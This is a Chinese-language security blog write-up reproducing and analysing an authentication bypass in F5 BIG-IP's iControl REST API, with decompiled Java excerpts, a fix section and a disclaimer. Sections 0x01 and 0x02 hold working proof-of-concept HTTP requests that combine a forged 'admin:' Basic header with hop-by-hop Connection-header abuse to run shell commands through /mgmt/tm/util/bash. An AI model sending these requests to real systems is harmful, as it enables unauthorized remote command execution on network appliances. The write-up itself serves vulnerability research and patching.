戟星安全实验室
本文约3600字,阅读约需10分钟。
0x00 环境搭建
进入产品下载页面。
https://downloads.f5.com/esd/productlines.jsp
这里我们找一个存在漏洞的版本下载。
账号密码【账号】:root【密码】:default
查看IP[congig]
得到ip.访问https://10.20.6.28/tmui/login.jsp出现登录界面,环境准备结束。
0x01 漏洞验证
尝试发送poc发现请求结果直接就执行了命令。
payload
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46
{
"command":"run",
"utilCmdArgs":"-c id"
}
0x02 漏洞分析
进行漏洞分析首先需要先定位漏洞点。根据poc发现漏洞是存在于443端口的https的服务上,接着ssh登录上机器,看看443端口绑定的什么服务。
发现是httpd服务。这里看一下httpd服务的配置文件,来找到具体是谁在处理数据。httpd的配置文件叫httpd.conf 这里用find搜索一下有两个结果,再仔细看一下。
文件位于/var/run/config/httpd.conf
仔细检查配置文件。
AuthPAM开启,调用了httpd的某个so文件进行预先的认证,也就是在使用httpd服务时先进行认证。
给mgmt发送的的请求,都是8100端口的服务处理的。
位于此处的是一个java服务。以下为classpath:
classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.6.2.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/joda-time-2.9.4.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar:/usr/share/java/commons-codec.jar com.f5.rest.workers.RestWorkerHost
通过前面的classpath把载入的java包下载下来进行分析。使用反编译工具简单看一下jar包。报错中主要涉及的库,位于f5.rest.jar中。
at com.f5.rest.workers.storage.StorageWorker.onQuery(StorageWorker.java:235)",
以下为函数体
从currentGenerationMap 取不到storageKey对应的值引发报错。随后往上层栈翻了翻没找到鉴权相关流程。这里切换一下思路。我们找一找X-F5-Auth-Token的处理流程。找到三个和X-F5-Auth-Token相关的代码。
public static final String ACCESS_CONTROL_ALLOW_HEADERS_VALUE = "X-F5-Auth-Token, X-F5-REST-Coordination-Id, X-Auth-Token, X-Forwarded-For, X-F5-Gossip, Authorization, Cookie, Content-Length, Content-Range, Content-Type, User-Agent";
//该变量设置了准许头的值
public static final String X_F5_AUTH_TOKEN_HEADER = "X-F5-Auth-Token";
public static final String X_F5_AUTH_TOKEN_HEADER_WITH_COLON = "X-F5-Auth-Token:"
查找变量X_F5_AUTH_TOKEN_HEADER的引用发现其在buildRequestHeaders函数中使
用。整个函数的作用,就是提取请求的头。以字符串把请求返回去。看看另一个变
量的引用,存在这么一段代码:
public String getName() {
return RestOperation.X_F5_AUTH_TOKEN_HEADER_WITH_COLON;
}
public void setData(RestOperation operation, String value) {
operation.setXF5AuthToken(value);
}
public boolean quickCheck(StringBuilder headerLine) {
if (!HttpParserHelper.matchesOneChar(headerLine.charAt(2), 'F', 'f') || HttpParserHelper.matchesHeaderPrefix(headerLine, getName())) {
return false;
}
return true;
}
getName获取参数名字 setData调用operation.setXF5AuthToken 设置值 quickCheck用于简单校验判断是不是这个header,核心代码如下
!HttpParserHelper.matchesOneChar(headerLine.charAt(2), 'F', 'f') || !HttpParserHelper.matchesHeaderPrefix(headerLine, getName()))
operation.setXF5AuthToken函数如下。
public RestOperation setXF5AuthToken(String token) {
setupAuthorizationData();
if (token == null) {
this.authorizationData.xF5AuthTokenState = null;
} else {
this.authorizationData.xF5AuthTokenState = new AuthTokenItemState();
this.authorizationData.xF5AuthTokenState.token = token;
}
return this;
}
该函数首先使用函数创建对象,具体实现代码如下
private void setupAuthorizationData() {
if (this.authorizationData == null) {
this.authorizationData = new AuthorizationData();
}
}
接着判断传入的参数token是否为空 为空把this.authorizationData.xF5AuthTokenState 设置为null。不为空则把值赋值给this.authorizationData.xF5AuthTokenState.token 。往下看发现了getXF5AuthToken和getXF5AuthTokenState方法。
public String getXF5AuthToken() {
if (this.authorizationData == null || this.authorizationData.xF5AuthTokenState == null) {
return null;
}
return this.authorizationData.xF5AuthTokenState.token;
}
public AuthTokenItemState getXF5AuthTokenState() {
if (this.authorizationData == null) {
return null;
}
return this.authorizationData.xF5AuthTokenState;
}
在鉴权过程中必然会使用这两个代码,因此查看这两个函数的引用即可。猜测鉴权过程中先调用getXF5AuthTokenState确认是否有token 而后使用get获取token。查看两个函数的引用。
EvaluatePermissions的两个方法,进入其中查看其代码发现整个EvaluatePermissions是鉴权部分。
EvaluatePermissions含有三个方法。
evaluatePermission,completeEvaluatePermission,failPermissionValidation其中failPermissionValidation代表鉴权失败,做一些失败后的数据设置
public static void failPermissionValidation(RestOperation request, String error) {
request.setWwwAuthenticate(RestOperation.X_AUTH_TOKEN_HEADER);
String deviceAuthCookie = request.getCookie(DeviceAuthTokenHelper.BIGIP_AUTH_COOKIE);
String authToken = request.getXF5AuthToken();
if (deviceAuthCookie != null && authToken == null) {
request.setWwwAuthenticate(RestOperation.BASIC_REALM_REST_API);
}
request.setBody((String) null);
request.setIsRestErrorResponseRequired(true);
request.setStatusCode(RestOperation.STATUS_UNAUTHORIZED);
request.fail(new SecurityException(error));
}
其中最核心的代码是completeEvaluatePermission函数,而漏洞也出在此处。evaluatePermission函数会根据情况不同,来为completeEvaluatePermission提供不同的参数。
这里可以看到根据authToken的值为completeEvaluatePermission赋予不同的参数,当authToken为null时,completeEvaluatePermission的token参数为空,这时候问题就来了,我们分析completeEvaluatePermission函数。以下是completeEvaluatePermission的部分代码
public static void completeEvaluatePermission(RestOperation request, AuthTokenItemState token, RolesWorker rolesWorker, CompletionHandler<Void> finalCompletion) {
final String path;
if (token != null) {
if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
failPermissionValidation(request, "X-F5-Auth-Token has expired.");
finalCompletion.failed((Exception) null, null);
return;
}
request.setXF5AuthTokenState(token);
}
request.setBasicAuthFromIdentity();
if (!request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) || !request.getMethod().equals(RestOperation.RestMethod.POST)) {
final RestReference userRef = request.getAuthUserReference();
if (RestReference.isNullOrEmpty(userRef)) {
failPermissionValidation(request, "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender());
finalCompletion.failed((Exception) null, null);
} else if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed(null);
} else {
if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
} else {
path = UrlHelper.normalizeUriPath(request.getUri().getPath());
}
final RestOperation.RestMethod verb = request.getMethod();
if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter(RestHelper.ODATA_EXPAND_FIELD) != null) {
String filterField = request.getParameter(RestHelper.ODATA_FILTER_FIELD);
if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
finalCompletion.completed(null);
return;
}
}
if (token != null) {
if (path.equals(UrlHelper.buildUriPath(EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token))) {
finalCompletion.completed(null);
return;
}
}
第一步,判断token是否为空,当token不为空时,略过此流程,继续往下执行。
request.setBasicAuthFromIdentity()函数
public void setBasicAuthFromIdentity() {
if (this.authorizationData != null) {
this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), (String) null);
}
}
作用大致为,设置basicAuthValue的值为base64编码后的this.identityData.userName。
if (!request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) || !request.getMethod().equals(RestOperation.RestMethod.POST)) {
大致作用为,对访问路径,请求包的方法进行校验,当我们请求的路径不是登录路径或者不是post方法时,进入后面的流程。
final RestReference userRef = request.getAuthUserReference();
if (RestReference.isNullOrEmpty(userRef)) {
failPermissionValidation(request, "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender());
finalCompletion.failed((Exception) null, null);
} else if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed(null);
获取this.identityData.userReference的值给userRef,随后判断userRef的值是否为空,接着判断userRef是否是admin的userRef值。当为admin的userRef值时。进入finalCompletion.completed函数。从而导致了绕过鉴权。
public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
String segment = UrlHelper.getLastPathSegment(userReference.link);
if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment)))) {
userName = segment;
}
}
if (userName != null && RestReference.isNullOrEmpty(userReference)) {
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName)));
}
this.identityData = new IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
}
这里分两种情况userReference和userName均为空以及userReference和userName均不为空。这两个变量是函数的参数,往上找上一层的函数。查看其引用发现com.f5.rest.common.RestOperationIdentifier有多次引用,看一下代码。其中有一个setIdentityFromBasicAuth方法。
private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
}
request.setIdentityData(AuthzHelper.decodeBasicAuth(authHeader).userName, (RestReference) null, (RestReference[]) null);
return true;
}
从header取得数据来进行初始化authHeader变量。实际上返回的是this.authorizationData.basicAuthValue的值,接着找设置该值的函数。也就是setBasicAuthorizationHeader函数。
public RestOperation setBasicAuthorizationHeader(String value) {
byte[] data;
setupAuthorizationData();
if (value != null && ((data = DatatypeConverter.parseBase64Binary(value)) == null || data.length == 0)) {
LOGGER.warningFmt("Basic Authorization header set to value that is invalid base64. Value: %s", value);
value = null;
}
this.authorizationData.basicAuthValue = value;
return this;
}
接着查看该函数在何处引用,传入的value值是什么。看到了熟悉的一串代码,类似从header的X-F5-Auth-Token提取数据初始化的过程。
BASIC_AUTH {
public String getName() {
return RestOperation.BASIC_AUTHORIZATION_HEADER_LOWERCASE;
}
public void setData(RestOperation operation, String value) {
operation.setBasicAuthorizationHeader(value);
}
public boolean quickCheck(StringBuilder headerLine) {
return HttpParserHelper.matchesOneChar(headerLine.charAt(0), 'A', 'a') && HttpParserHelper.matchesOneChar(headerLine.charAt(1), 'U', 'u') && HttpParserHelper.matchesHeaderPrefix(headerLine, getName());
}
}
查看getname返回的字段
RestOperation.BASIC_AUTHORIZATION_HEADER_LOWERCASE定义的变量。
public static final String AUTHORIZATION_HEADER = "Authorization";
public static final String BASIC_AUTHORIZATION_HEADER = "Authorization: Basic ";
public static final int BASIC_AUTHORIZATION_HEADER_LENGTH = BASIC_AUTHORIZATION_HEADER.length();
public static final String BASIC_AUTHORIZATION_HEADER_LOWERCASE = BASIC_AUTHORIZATION_HEADER.toLowerCase();
也就是说该字段是由header的Authorization:Basic设置的。观察poc也存在此字段
Authorization: Basic YWRtaW46
尝试更改poc中的Authorization数据为dXNlcjo=,也就是user:的base64编码
YWRtaW46的base64解码正好是admin: 至此整个绕过的思路就清晰了,首先是当X-F5-Auth-Token为空时走入另一条验证流程,而这个流程依赖于我们给header提供的Authorization:字段。因为Authorization字段可控,并且没有复杂的加密处理,从而导致可以轻易绕过鉴权。接着就是如何设置X-F5-Auth-Token为空了。这里涉及到一个hop-by-hop headersabuse的漏洞。
简单来说就是。遇到Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点。如我们的请求中带有header头:Connection: close, X-Foo, X-Bar,原始请求在转发到代理时,逐跳处理则会将X-Foo和 X-Bar从原始请求中删除。这样我们既通过了对X-F5-Auth-Token 标头的校验,同时又能使其在到达java处理流程时为空。而在实际测试中,我却发现这个和hop-by-hop参考文章里的又不一样。即使我不使用Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade这些标头。
Payload
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 49
Connection: 12345,X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46
{
"command":"run",
"utilCmdArgs":"-c whoami"
}
Payload
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 49
Connection: X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46
{
"command":"run",
"utilCmdArgs":"-c whoami"
}
0x03 漏洞修复
具体修复参考官方提供的方法,
https://support.f5.com/csp/article/K23605346
更新至最新版本。
修改 BIG-IP httpd 配置
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(戟星安全实验室):F5-BIGIP iControl REST绕过授权访问漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论